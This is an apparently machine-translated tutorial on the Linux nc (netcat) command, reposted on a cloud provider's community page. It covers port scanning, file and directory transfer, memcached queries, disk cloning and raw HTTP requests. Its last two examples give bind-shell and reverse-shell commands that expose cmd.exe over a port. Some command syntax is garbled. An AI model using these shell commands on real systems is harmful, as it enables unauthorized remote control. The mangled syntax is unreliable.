Linux nc command usage

Source: Internet
Author: User

Detailed description of linux nc commands: powerful network tool Syntax: nc [-hlnruz] [-g <gateway...>] [-G <Number of pointers>] [-I <delay in seconds>] [-o <output file>] [-p <communication port>] [-s <source address>] [-v...] [-w <timeout seconds>] [host name] [communication port...] parameter quantity:-g <gateway> sets the router hop communication gateway. You can set up to eight parameter values. -G <Number of pointers> sets the source route indicator, which is a multiple of 4. -H online help. -I <latency in seconds> set the interval to send information and scan the communication port. -L use the listener mode to control incoming data. -N directly uses the IP address instead of the Domain Name Server. -O <output file> specifies the file name, dumping the data that is being transferred in hexadecimal format into this file for storage. -P <communication port> sets the communication port used by the local host. -R: Specifies the communication port between the local host and the remote host. -S <source address> sets the IP address of the data packet sent from the local host. -U uses UDP transmission protocol. -V detailed output-use two-v to get more detailed content-w <timeout seconds> set the waiting time. -Z uses the 0 input/output mode and is only used when scanning communication ports. Nc Example 1. port Scan # nc-v-w 2 192.168.2.34-z 21-24nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refusedConnection to 192.168.2.34 22 port [tcp/ssh] succeeded! Nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refusednc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused 2. copy the file from 192.168.2.33 to 192.168.2.34 on 192.168.2.34: nc-l 1234> test.txt on 192.168.2.33: nc 192.168.2.34 <test.txt 3. simple chat tool on 192.168.2.34: nc-l 1234 on 192.168.2.33: nc 192.168.2.34 1234 so that the two sides can communicate with each other. Use ctrl + C (or D) to exit. 4. run the nc command to operate memcached1) store data: printf "set key 0 10 6rnresultrn" | nc 192.168.2.34 112112) get data: printf "get keyrn" | nc 192.168.2.34 112113) delete data: printf "delete keyrn" | nc 192.168.2.34 112114) view status: printf "statsrn" | nc 192.168.2.34 112115) simulate top Command view status: watch "echo stats" | nc 192.168.2.34 112116) clear cache: printf "flush_allrn" | nc 192.168.2.34 11211 (careful operation, the cache will be cleared) 5. nc-p 1234-w 5 host.example.com 80 is built from local port 1234 to h Ost.example.com's port 80 connection, 5 seconds timeout nc-u host.example.com 53u for UDP connection 6. echo-n "GET/HTTP/1.0" r "n" r "n" | nc host.example.com 80 connects to the host and runs 7. nc-v-z host.example.com 70-80 scan port (70 to 80), you can specify the range. -V: Output details. 8. Remotely copy files from server1 to server2. You need to activate the listener with nc on server2, and run: root @ hatest2 tmp] # nc-lp 1234> install. log server1: [root @ hatest1 ~] On server2. # Ll install. log-rw-r-1 root 39693 2007 install. log [root @ hatest1 ~] # Nc-w 1 192.168.228.222 1234 <install. log 9. the clone hard disk or partition operation is the same as the copy operation above. You only need to obtain the data of the hard disk or partition by dd, and then transmit it. Cloning a hard disk or partition should not be performed on a mounted system. Therefore, after you start the system in the rescue mode (or use the Knoppix work with a CD) after using the boot from the installation disc, perform a similar listening action on Server 2: # nc-l-p 1234 | dd of =/dev/sda server1 to complete the task of cloning sda from server1 to server2: # dd if =/dev/sda | nc 192.168.228.222 1234 ※the prerequisite for completing the above work is to implement the CD rescue mode to support the NIC on the server and correctly configure the IP address. 10. save the Web page # while true; do nc-l-p 80-q 1 <somepage.html; done 11. simulate HTTP Headers to obtain the source code of the webpage and return the header information [root @ hatest1 ~] # Nc www.linuxso.com 80GET/HTTP/1.1 Host: ispconfig. orgReferrer: mypage. comUser-Agent: my-browser HTTP/1.1 200 OKDate: Tue, 16 Dec 2008 07:23:24 GMTServer: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8Set-Cookie: PHPSESSID = empty; path =/Expires: 0Cache-Control: no-store, no-cache, must-revalidate, post-check = 0, pre-check = 0 Prag Ma: no-cacheCache-Control: private, post-check = 0, pre-check = 0, max-age = 0Set-Cookie: oWn_sid = xRutAY; expires = Tue, 23-Dec-2008 07:23:24 GMT; path =/Vary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html [......] after running the nc command, enter the content in red and press ENTER twice to obtain the HTTP Headers content from the other party. 12. The transfer directory copies the contents of the nginx-0.6.34 directory from server1 to server2. You must first activate the listener with nc on server2. Run the following command on server2: Reference [root @ hatest2 tmp] # nc-l 1234 | tar xzvf-server1: reference [root @ hatest1 ~] # Ll-d nginx-0.6.34drwxr-xr-x 8 1000 1000 12-23 nginx-0.6.34 [root @ hatest1 ~] # Tar czvf-The nginx-0.6.34 | nc 192.168.228.222 1234 13. REMOTE Host SHELL binding example: Format: nc-l-p 5354-t-e c: \ winnt \ system32 \ cmd.exe: bind the shell of the REMOTE host to the REMOTE host's TCP5354 port 14. REMOTE host is bound to SHELL and reverse connection example: Format: nc-t-e c: \ winnt \ system32 \ cmd.exe 192.168.x.x 5354: bind the REMOTE host's mongoshell and reversely connect to the TCP5354 port of 192.168.x.x. The above are the most basic usage (in fact, there are many usage of NC, when combined with pipeline commands "|" and redirection commands "<", ">", and so on, the command functions are more powerful ......).

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.